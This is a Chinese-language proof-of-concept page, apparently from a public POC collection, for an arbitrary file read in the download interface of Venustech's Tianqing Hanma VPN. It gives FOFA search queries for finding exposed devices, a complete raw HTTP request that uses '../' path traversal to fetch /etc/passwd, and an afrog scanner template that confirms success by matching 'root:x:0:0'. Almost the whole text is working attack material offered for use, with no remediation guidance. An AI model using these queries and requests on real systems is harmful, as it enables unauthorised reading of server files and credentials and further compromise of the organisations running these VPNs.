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64 lines
2.3 KiB
Markdown
64 lines
2.3 KiB
Markdown
# 启明星辰-天清汉马VPN接口download任意文件读取
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启明星辰天清汉马VPN系统download接口处存在任意文件读取漏洞，获取服务器的敏感数据和配置信息，造成系统的不安全性，从而控制服务器。
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## fofa
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```yaml
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icon_hash="-15980305"
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app="网御星云-VPN" || (body="select_auth_method" && body="select_auth_input") || app="启明星辰-天清汉马VPN"
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```
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## poc
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```yaml
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GET /vpn/user/download/client?ostype=../../../../../../../etc/passwd HTTP/1.1
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate, br, zstd
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Accept-Language: zh-CN,zh;q=0.9
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Connection: keep-alive
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Cookie: VSG_VERIFYCODE_CONF=0-0; VSG_CLIENT_RUNNING=false; VSG_LANGUAGE=zh_CN; VSG_CSRFTOKEN=1ec96cd6acc254fcf9e9cd6d1e85cf23
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Host:
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Sec-Fetch-User: ?1
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
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sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Windows"
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```
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## afrog poc
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```yaml
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id: 启明星辰-天清汉马VPN接口download任意文件读取
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info:
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name: 启明星辰-天清汉马VPN接口download任意文件读取
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author: wy876
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severity: high
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description: |
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启明星辰天清汉马VPN系统download接口处存在任意文件读取漏洞，获取服务器的敏感数据和配置信息，造成系统的不安全性，从而控制服务器。
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Fofa: icon_hash="-15980305"
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app="网御星云-VPN" || (body="select_auth_method" && body="select_auth_input") || app="启明星辰-天清汉马VPN"
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reference:
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- https://github.com/wy876/POC/blob/main/启明星辰-天清汉马VPN接口download任意文件读取.md
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rules:
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r0:
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request:
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method: GET
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path: /vpn/user/download/client?ostype=../../../../../../../etc/passwd
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expression: response.status == 200 && response.body.bcontains(b'root:x:0:0')
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expression: r0()
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```
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